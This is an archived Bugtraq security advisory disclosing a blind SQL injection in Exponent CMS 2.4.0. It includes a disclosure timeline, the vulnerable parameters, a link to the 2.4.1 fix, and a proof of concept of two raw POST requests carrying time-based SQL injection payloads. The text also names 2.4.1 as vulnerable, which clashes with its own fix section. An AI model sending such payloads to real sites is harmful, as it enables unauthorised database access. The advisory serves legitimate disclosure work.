bugtraq - Blind SQL Injection Vulnerability in Exponent CMS 2.4.0

lists.openwall.net		lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC
Open Source and information security mailing list archives

Hash Suite: Windows password security audit tool. GUI, reports in PDF.

[<prev] [next>] [day] [month] [year] [list]

Message-Id: <201611100201.uAA219sh027319@sf01web1.securityfocus.com>
Date: Thu, 10 Nov 2016 02:01:09 GMT
From: nickyccwu@...cent.com
To: bugtraq@...urityfocus.com
Subject: Blind SQL Injection Vulnerability in Exponent CMS 2.4.0

Document Title:
===============
Blind SQL Injection Vulnerability in Exponent CMS 2.4.0

References (Source):
====================
https://exponentcms.lighthouseapp.com/projects/61783/tickets/1394-blind-sql-injection-vulnerability-in-exponent-cms-240-4
https://github.com/exponentcms/exponent-cms/commit/fffb2038de4c603931b785a4c3ec69cfd06181ba

Release Date:
=============
2016-11-06


Product & Service Introduction:
===============================
Exponent CMS is an exciting web-based content management system. It makes creating and maintaining websites easy for non-technical users, while providing site managers the power and flexibility to add new features, completely customize the layout, and delegate responsibilities to other users. 

Abstract Advisory Information:
==============================
Nicky (Tencent Security Platform Department) discovered a remote sql-injection vulnerability in the Exponent CMS 2.4.0.

Vulnerability Disclosure Timeline:
==================================
2016-11-06: Report to the vendor
2016-11-07: Vendor confirm the vul and fix it in exponent cms 2.4.1

Discovery Status:
=================
Published

Exploitation Technique:
=======================
Remote

Severity Level:
===============
High

Technical Details & Description:
================================
A remote sql injection web vulnerability has been discovered in the exponent cms 2.4.1.
The web vulnerability allows remote attackers to execute own malicious sql commands to compromise the application or dbms.

Request Method(s): 
[+] POST

Vulnerable Parameter(s):
[+] lastpage / src

Proof of Concept (PoC):
=======================
The remote sql-injection web vulnerability can be exploited by remote attackers.
For security demonstration or to reproduce the sql-injection web vulnerability follow the provided information and steps below to continue.

POST /exponent/ HTTP/1.1
Content-Length: 268
Content-Type: application/x-www-form-urlencoded
X-Requested-With: XMLHttpRequest
Referer: http://192.168.118.1:80/exponent/
Cookie: PHPSESSID=4b42cc8b7f69ebe1afdcbf4abbfee00b; adminer_key=cdeaea5d52a8f402a28bd04980a7851b
Host: 192.168.118.1
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.21
Accept: */*

action=manage_ranks&controller=container&lastpage=http://192.168.118.1/exponent/untitled&model=container&rerank%5b%5d=if(now()%3dsysdate()%2csleep(0)%2c0)/*'XOR(if(now()%3dsysdate()%2csleep(0)%2c0))OR'%22XOR(if(now()%3dsysdate()%2csleep(0)%2c0))OR%22*/&src=%40section1


POST /exponent/ HTTP/1.1
Content-Length: 251
Content-Type: application/x-www-form-urlencoded
X-Requested-With: XMLHttpRequest
Referer: http://192.168.118.1:80/exponent/
Cookie: PHPSESSID=f7859e8215b717f81b7dbd2e2c1a2caa; adminer_key=cdeaea5d52a8f402a28bd04980a7851b
Host: 192.168.118.1
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.21
Accept: */*

action=manage_ranks&controller=container&lastpage=http://192.168.118.1/exponent/&model=container&rerank%5b%5d=16&src=if(now()%3dsysdate()%2csleep(0)%2c0)/*'XOR(if(now()%3dsysdate()%2csleep(0)%2c0))OR'%22XOR(if(now()%3dsysdate()%2csleep(0)%2c0))OR%22*/


Solution - Fix & Patch:
=======================
Exponent CMS 2.4.1 has fixed it.(https://github.com/exponentcms/exponent-cms/commit/fffb2038de4c603931b785a4c3ec69cfd06181ba)

Credits & Authors:
==================
Nicky of Tencent Security Platform Department